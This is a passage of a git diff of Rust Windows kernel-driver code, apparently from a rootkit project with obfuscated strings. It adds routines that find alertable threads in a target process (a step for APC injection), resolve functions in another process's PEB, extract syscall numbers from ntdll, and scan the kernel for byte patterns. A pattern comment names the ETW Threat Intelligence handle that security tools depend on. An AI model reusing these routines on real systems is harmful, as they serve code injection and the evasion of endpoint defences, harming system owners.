|
/// access control. If `None`, it is set to `null_mut()`.
|
||||||
|
/// * `security_quality_of_service` - An optional pointer to a security quality of service structure.
|
||||||
|
/// If `None`, it is set to `null_mut()`.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
|
||||||
|
/// If optional arguments are not provided, their corresponding fields are set to `null_mut()`.
|
||||||
|
#[allow(non_snake_case)]
|
||||||
|
pub fn InitializeObjectAttributes(
|
||||||
|
object_name: Option<*mut UNICODE_STRING>,
|
||||||
|
attributes: u32,
|
||||||
|
root_directory: Option<*mut c_void>,
|
||||||
|
security_descriptor: Option<*mut c_void>,
|
||||||
|
security_quality_of_service: Option<*mut c_void>
|
||||||
|
) -> OBJECT_ATTRIBUTES {
|
||||||
|
OBJECT_ATTRIBUTES {
|
||||||
|
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
|
||||||
|
RootDirectory: root_directory.unwrap_or(null_mut()),
|
||||||
|
ObjectName: object_name.unwrap_or(null_mut()),
|
||||||
|
Attributes: attributes,
|
||||||
|
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
|
||||||
|
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Find a thread with an alertable status for the given process (PID).
|
||||||
|
///
|
||||||
|
/// This function queries the system for all threads associated with the specified process.
|
||||||
|
/// It checks whether each thread meets specific conditions (e.g., non-terminating and alertable)
|
||||||
|
/// and returns the `KTHREAD` pointer if such a thread is found.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_pid` - The process identifier (PID) for which to find an alertable thread.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread.
|
||||||
|
/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search.
|
||||||
|
pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD, ShadowError> {
|
||||||
|
// Initial call to get the necessary buffer size for system process information
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
|
// Allocate memory to store process information
|
||||||
|
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))
|
||||||
|
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||||
|
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||||
|
|
||||||
|
// Query system information to get process and thread data
|
||||||
|
let status = ZwQuerySystemInformation(
|
||||||
|
SystemProcessInformation,
|
||||||
|
info_process as *mut winapi::ctypes::c_void,
|
||||||
|
return_bytes,
|
||||||
|
&mut return_bytes,
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over process information to find the target PID and alertable thread
|
||||||
|
let mut process_info = info_process;
|
||||||
|
while (*process_info).NextEntryOffset != 0 {
|
||||||
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
|
if pid == target_pid {
|
||||||
|
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||||
|
for &thread in threads_slice {
|
||||||
|
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||||
|
let target_thread = if let Ok(thread) = Thread::new(thread_id) { thread } else { continue };
|
||||||
|
|
||||||
|
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
let is_alertable = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x74) as *const u64) & 0x10;
|
||||||
|
let is_gui_thread = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x78) as *const u64) & 0x80;
|
||||||
|
let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x58) as *const u64);
|
||||||
|
let thread_context_stack = read_unaligned(target_thread.e_thread.cast::<u8>().offset(0x268) as *const u64);
|
||||||
|
|
||||||
|
if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
return Ok(target_thread.e_thread)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*process_info).NextEntryOffset == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::FunctionExecutionFailed("find_thread_alertable", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the address of a function within a specific module loaded in a process's PEB.
|
||||||
|
///
|
||||||
|
/// This function locates the specified module (DLL) in the process's PEB and searches for
|
||||||
|
/// the requested function within the module's export table. It returns the address of the
|
||||||
|
/// function if found.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process.
|
||||||
|
/// * `module_name` - The name of the module (e.g., DLL) to search for.
|
||||||
|
/// * `function_name` - The name of the function to locate within the module.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut c_void)` - A pointer to the function's address if found.
|
||||||
|
/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution.
|
||||||
|
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Result<*mut c_void, ShadowError> {
|
||||||
|
// Attach to the target process and access its PEB
|
||||||
|
let target = Process::new(pid)?;
|
||||||
|
ProcessAttach::new(target.e_process);
|
||||||
|
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||||
|
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Traverse the InLoadOrderModuleList to find the module
|
||||||
|
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
if next.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if list_entry.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).FullDllName.Buffer,
|
||||||
|
((*list_entry).FullDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
if buffer.is_empty() {
|
||||||
|
return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the module name matches
|
||||||
|
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||||
|
if dll_name.to_lowercase().contains(module_name) {
|
||||||
|
let dll_base = (*list_entry).DllBase as usize;
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||||
|
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||||
|
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
// Search for the function by name in the export table
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8)
|
||||||
|
.to_str()
|
||||||
|
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||||
|
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||||
|
if name_module == function_name {
|
||||||
|
return Ok(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::ModuleNotFound(module_name.to_string()))
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// Retrieves the PID of a process by its name.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `process_name` - A string slice containing the name of the process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Option<usize>` - An optional containing the PID of the process, or None if the process is not found.
|
||||||
|
pub unsafe fn get_process_by_name(process_name: &str) -> Result<usize, ShadowError> {
|
||||||
|
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
|
||||||
|
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
|
||||||
|
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||||
|
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||||
|
|
||||||
|
let status = ZwQuerySystemInformation(
|
||||||
|
SystemProcessInformation,
|
||||||
|
info_process as *mut winapi::ctypes::c_void,
|
||||||
|
return_bytes,
|
||||||
|
&mut return_bytes,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut process_info = info_process;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
if !(*process_info).ImageName.Buffer.is_null() {
|
||||||
|
let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
|
||||||
|
let name = String::from_utf16_lossy(image_name);
|
||||||
|
if name == process_name {
|
||||||
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
|
return Ok(pid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*process_info).NextEntryOffset == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::ProcessNotFound(process_name.to_string()))
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// Validates if the given address is within the kernel memory range.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `bool` - True if the address is within the kernel memory range, False otherwise.
|
||||||
|
pub fn valid_kernel_memory(addr: u64) -> bool {
|
||||||
|
addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Validates if the given address is within the user memory range.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `bool` - True if the address is within the user memory range, False otherwise.
|
||||||
|
pub fn valid_user_memory(addr: u64) -> bool {
|
||||||
|
addr > 0 && addr < 0x7FFFFFFFFFFFFFFF
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Responsible for returning information on the modules loaded.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
|
||||||
|
///
|
||||||
|
pub fn list_modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32), ShadowError> {
|
||||||
|
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
|
||||||
|
let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY };
|
||||||
|
|
||||||
|
if func.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"))
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||||
|
let mut module_count = 0;
|
||||||
|
|
||||||
|
let start_entry = list_entry;
|
||||||
|
while !list_entry.is_null() && list_entry != func {
|
||||||
|
module_count += 1;
|
||||||
|
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok((start_entry, module_count))
|
||||||
|
}
|
||||||
@@ -1,28 +1,199 @@
|
|||||||
use {
|
use {
|
||||||
obfstr::obfstr,
|
obfstr::obfstr,
|
||||||
super::{
|
crate::error::ShadowError,
|
||||||
InitializeObjectAttributes,
|
wdk_sys::{
|
||||||
address::get_module_base_address,
|
ntddk::*,
|
||||||
|
*,
|
||||||
|
_SECTION_INHERIT::ViewUnmap
|
||||||
},
|
},
|
||||||
core::{
|
core::{
|
||||||
ffi::{c_void, CStr}, mem::{size_of, zeroed},
|
ffi::CStr,
|
||||||
ptr::{null_mut, read}, slice::from_raw_parts
|
ptr::{null_mut, read},
|
||||||
|
slice::from_raw_parts,
|
||||||
|
ffi::c_void
|
||||||
},
|
},
|
||||||
wdk_sys::{
|
super::{
|
||||||
ntddk::{
|
address::get_module_base_address,
|
||||||
ZwClose, ZwMapViewOfSection, ZwOpenSection,
|
InitializeObjectAttributes,
|
||||||
ZwUnmapViewOfSection
|
|
||||||
},
|
|
||||||
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY,
|
|
||||||
SECTION_MAP_READ, SECTION_QUERY, _SECTION_INHERIT::ViewUnmap,
|
|
||||||
NT_SUCCESS
|
|
||||||
},
|
},
|
||||||
winapi::um::winnt::{
|
winapi::um::winnt::{
|
||||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||||
},
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `function_address` - The base address (in `usize` format) from which the scan should start.
|
||||||
|
/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||||
|
/// * `offset` - Offset from the pattern position where the i32 value starts.
|
||||||
|
/// * `final_offset` - The final offset applied to the resulting address.
|
||||||
|
/// * `size` - The size of the memory to scan.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32.
|
||||||
|
/// * `Err(ShadowError)` - Error if pattern not found or conversion fails.
|
||||||
|
pub unsafe fn scan_for_pattern(
|
||||||
|
function_address: *mut c_void,
|
||||||
|
pattern: &[u8],
|
||||||
|
offset: usize,
|
||||||
|
final_offset: isize,
|
||||||
|
size: usize,
|
||||||
|
) -> Result<*mut u8, ShadowError> {
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size);
|
||||||
|
|
||||||
|
if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) {
|
||||||
|
let position = x + offset;
|
||||||
|
|
||||||
|
// Converting the slice starting at the position to i32 (little-endian)
|
||||||
|
let offset_bytes = &function_bytes[position..position + 4];
|
||||||
|
let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?);
|
||||||
|
|
||||||
|
// Calculating the final address
|
||||||
|
let address = function_address.cast::<u8>().add(x);
|
||||||
|
let next_address = address.offset(final_offset);
|
||||||
|
|
||||||
|
// Returning the final address adjusted by the found offset
|
||||||
|
Ok(next_address.offset(offset as isize))
|
||||||
|
} else {
|
||||||
|
Err(ShadowError::PatternNotFound)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the syscall index for a given function name.
|
||||||
|
///
|
||||||
|
/// This function loads the `ntdll.dll` section and maps its export table to find the specified function.
|
||||||
|
/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails.
|
||||||
|
pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16, ShadowError> {
|
||||||
|
let mut section_handle = null_mut();
|
||||||
|
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||||
|
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenSection", status))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Map ntdll.dll to memory and retrieve the address
|
||||||
|
let mut large: LARGE_INTEGER = core::mem::zeroed();
|
||||||
|
let mut ntdll_addr = null_mut();
|
||||||
|
let mut view_size = 0;
|
||||||
|
status = ZwMapViewOfSection(
|
||||||
|
section_handle,
|
||||||
|
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||||
|
&mut ntdll_addr,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
&mut large,
|
||||||
|
&mut view_size,
|
||||||
|
ViewUnmap,
|
||||||
|
0,
|
||||||
|
PAGE_READONLY,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Locate export directory, names, and functions for syscall extraction
|
||||||
|
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
|
||||||
|
let ntdll_addr = ntdll_addr as usize;
|
||||||
|
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||||
|
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||||
|
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||||
|
|
||||||
|
// Search for the function by name and extract the syscall number (SSN)
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8)
|
||||||
|
.to_str()
|
||||||
|
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||||
|
|
||||||
|
let ordinal = ordinals[i as usize] as usize;
|
||||||
|
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||||
|
if name == function_name && read(address) == 0x4C
|
||||||
|
&& read(address.add(1)) == 0x8B
|
||||||
|
&& read(address.add(2)) == 0xD1
|
||||||
|
&& read(address.add(3)) == 0xB8
|
||||||
|
&& read(address.add(6)) == 0x00
|
||||||
|
&& read(address.add(7)) == 0x00
|
||||||
|
{
|
||||||
|
let high = read(address.add(5)) as u16;
|
||||||
|
let low = read(address.add(4)) as u16;
|
||||||
|
let ssn = (high << 8) | low;
|
||||||
|
|
||||||
|
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return Ok(ssn);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup
|
||||||
|
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||||
|
ZwClose(section_handle);
|
||||||
|
|
||||||
|
Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `name` - The name of the Zw function to find.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs.
|
||||||
|
/// It should be used with caution in kernel mode to prevent system instability.
|
||||||
|
pub unsafe fn find_zw_function(name: &str) -> Result<usize, ShadowError> {
|
||||||
|
let ssn = get_syscall_index(name)?;
|
||||||
|
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
||||||
|
|
||||||
|
let ssn_bytes = ssn.to_le_bytes();
|
||||||
|
ZW_PATTERN[21] = ssn_bytes[0];
|
||||||
|
ZW_PATTERN[22] = ssn_bytes[1];
|
||||||
|
|
||||||
|
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||||
|
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
|
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||||
|
|
||||||
|
// Scan the `.text` section for the matching pattern
|
||||||
|
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||||
|
let section = (*section_header.add(i)).Name;
|
||||||
|
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||||
|
|
||||||
|
if name == obfstr!(".text") {
|
||||||
|
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||||
|
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||||
|
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||||
|
|
||||||
|
// Search for the Zw function by matching the pattern
|
||||||
|
if let Some(offset) = data.windows(ZW_PATTERN.len())
|
||||||
|
.position(|window| {
|
||||||
|
window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||||
|
}) {
|
||||||
|
|
||||||
|
return Ok(text_start + offset);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
|
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
|
||||||
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
|
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
|
||||||
@@ -45,188 +216,3 @@ pub static mut ZW_PATTERN: [u8; 30] = [
|
|||||||
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
|
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
|
||||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||||
];
|
];
|
||||||
|
|
||||||
/// Converts a slice of bytes into a number or custom type using a provided conversion function.
|
|
||||||
///
|
|
||||||
/// This function takes a byte slice of length `N`, verifies that its length matches the expected size,
|
|
||||||
/// and then converts it into a fixed-size array of `N` bytes. The resulting array is passed to the
|
|
||||||
/// provided conversion function (`func`), which returns a value of type `T`.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `slice`: A reference to a byte slice (`&[u8]`) that is expected to have exactly `N` bytes.
|
|
||||||
/// - `func`: A function that takes an array of `N` bytes (`[u8; N]`) and returns a value of type `T`.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Ok(T)`: The result of the conversion function if the slice has the correct length.
|
|
||||||
/// - `Err(&'static str)`: An error message if the slice length does not match `N`.
|
|
||||||
///
|
|
||||||
fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> Result<T, &'static str> {
|
|
||||||
if slice.len() != N {
|
|
||||||
return Err("Slice length mismatch");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Converts the slice to an array of N bytes
|
|
||||||
let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?;
|
|
||||||
|
|
||||||
// Converts the byte array to the desired type
|
|
||||||
Ok(func(array))
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
|
||||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
|
||||||
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<*const u8>`: The address of the target function if found.
|
|
||||||
///
|
|
||||||
pub unsafe fn scan_for_pattern<T, const N: usize>(
|
|
||||||
function_address: *mut c_void,
|
|
||||||
pattern: &[u8],
|
|
||||||
offset: usize,
|
|
||||||
final_offset: isize,
|
|
||||||
size: usize,
|
|
||||||
func: fn([u8; N]) -> T,
|
|
||||||
) -> Option<*mut u8>
|
|
||||||
where
|
|
||||||
T: Into<i64>,
|
|
||||||
{
|
|
||||||
let function_bytes = from_raw_parts(function_address as *const u8, size);
|
|
||||||
|
|
||||||
if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) {
|
|
||||||
let position = x + offset;
|
|
||||||
let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?;
|
|
||||||
|
|
||||||
let address = function_address.cast::<u8>().offset(x as isize);
|
|
||||||
let next_address = address.offset(final_offset);
|
|
||||||
Some(next_address.offset(offset.into() as isize))
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Finds the address of a specified Zw function.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `name`: The name of the Zw function to find.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `Option<usize>`: The address of the Zw function if found, or `None` if an error occurs or the function is not found.
|
|
||||||
///
|
|
||||||
pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
|
||||||
let ssn = get_syscall_index(name)?;
|
|
||||||
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
|
||||||
|
|
||||||
let ssn_bytes = ssn.to_le_bytes();
|
|
||||||
ZW_PATTERN[21] = ssn_bytes[0];
|
|
||||||
ZW_PATTERN[22] = ssn_bytes[1];
|
|
||||||
|
|
||||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
|
||||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
|
||||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
|
||||||
|
|
||||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
|
||||||
let section = (*section_header.add(i)).Name;
|
|
||||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
|
||||||
|
|
||||||
if name == obfstr!(".text") {
|
|
||||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
|
||||||
